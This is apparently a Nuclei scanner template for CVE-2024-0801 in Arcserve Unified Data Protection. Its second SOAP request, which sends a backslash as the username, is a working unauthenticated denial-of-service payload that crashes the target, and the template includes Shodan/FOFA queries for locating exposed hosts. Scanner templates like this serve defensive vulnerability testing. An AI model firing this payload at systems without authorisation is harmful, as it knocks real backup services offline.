CVE-2024-0801: Arcserve Unified Data Protection - Unauthenticated DoS in ASNative.dll

id: CVE-2024-0801

info:
  name: Arcserve Unified Data Protection - Unauthenticated DoS in ASNative.dll
  author: daffainfo
  severity: high
  description: |
    A denial of service vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in ASNative.dll.
  impact: |
    Attackers can cause system crashes or unavailability, leading to service disruption and potential downtime.
  remediation: |
    Update to the latest version of Arcserve Unified Data Protection or apply available patches.
  reference:
    - https://www.tenable.com/security/research/tra-2024-07
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0801
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-0801
    epss-score: 0.41843
    epss-percentile: 0.98615
    cwe-id: CWE-75
    cpe: cpe:2.3:a:arcserve:udp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: arcserve
    product: udp
    shodan-query: http.favicon.hash:1015186617
    fofa-query: icon_hash="1015186617"
  tags: cve,cve2024,arcserve,dos,intrusive,vkev,vuln

flow: http(1) && http(2)

variables:
  user: "{{to_lower(rand_base(6))}}"
  pass: "{{to_lower(rand_base(6))}}"

http:
  - raw:
      - |
        POST /management/services/EdgeServiceConsoleImpl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0" encoding="UTF-8"?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns2:validateUserByUser xmlns:ns2="http://webservice.edge.arcserve.ca.com/"><arg0>{{user}}</arg0><arg1>{{pass}}</arg1><arg2>domain</arg2></ns2:validateUserByUser></S:Body></S:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(content_type, "text/xml")'
          - 'contains(body, "Invalid user credentials")'
        condition: and
        internal: true

  - raw:
      - |
        POST /management/services/EdgeServiceConsoleImpl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0" encoding="UTF-8"?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns2:validateUserByUser xmlns:ns2="http://webservice.edge.arcserve.ca.com/"><arg0>\</arg0><arg1>{{pass}}</arg1><arg2>domain</arg2></ns2:validateUserByUser></S:Body></S:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 503 && contains(body, "<h1>Service Unavailable</h1>")'
          - 'status_code == 502 && contains(body, "<h1>Proxy Error</h1>")'
        condition: or
# digest: 4b0a00483046022100c14629a36e5f0eaaf24b44cd8a4ee166892af0f21399d77d2850e816a3990682022100b16e7d5aebb953b81301e706ee90fbeb6a8d6223e55b06fac5188c019cb994c0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.